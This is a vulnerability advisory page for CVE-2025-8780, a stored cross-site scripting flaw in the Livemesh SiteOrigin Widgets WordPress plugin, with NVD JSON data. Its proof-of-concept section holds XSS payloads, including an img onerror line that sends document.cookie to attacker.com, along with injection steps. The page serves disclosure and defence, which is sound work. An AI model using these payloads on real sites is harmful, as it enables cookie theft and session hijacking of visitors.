Security Vulnerability Report
中文
CVE-2025-8780 CVSS 6.4 MEDIUM

CVE-2025-8780

Published: 2025-12-13 16:16:57
Last Modified: 2026-04-15 00:35:42

Description

The Livemesh SiteOrigin Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Hero Header and Pricing Table widgets in all versions up to, and including, 3.9.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Livemesh SiteOrigin Widgets <= 3.9.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-8780 PoC: Stored XSS in Livemesh SiteOrigin Widgets --> <!-- Requirements: Contributor-level WordPress account --> <!-- Affected: Hero Header and Pricing Table widgets <= 3.9.1 --> <!-- PoC Payload for Hero Header Widget --> <script>alert(document.cookie)</script> <!-- Alternative payload using img onerror --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- PoC Steps: --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Navigate to Appearance > Widgets --> <!-- 3. Add 'Hero Image' or 'Pricing Table' widget to a sidebar --> <!-- 4. In widget settings, inject XSS payload in text fields --> <!-- 5. Save widget - payload is stored in database --> <!-- 6. Any user visiting the page will execute the injected script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8780", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.600", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Livemesh SiteOrigin Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Hero Header and Pricing Table widgets in all versions up to, and including, 3.9.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3390558/livemesh-siteorigin-widgets/trunk/includes/widgets/lsow-hero-image-widget/tpl/default.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3390558/livemesh-siteorigin-widgets/trunk/includes/widgets/lsow-pricing-table-widget/tpl/default.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/livemesh-siteorigin-widgets/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eae0783a-a409-4947-b837-aee219b4d445?source=cve", "source": "[email protected]"}]}}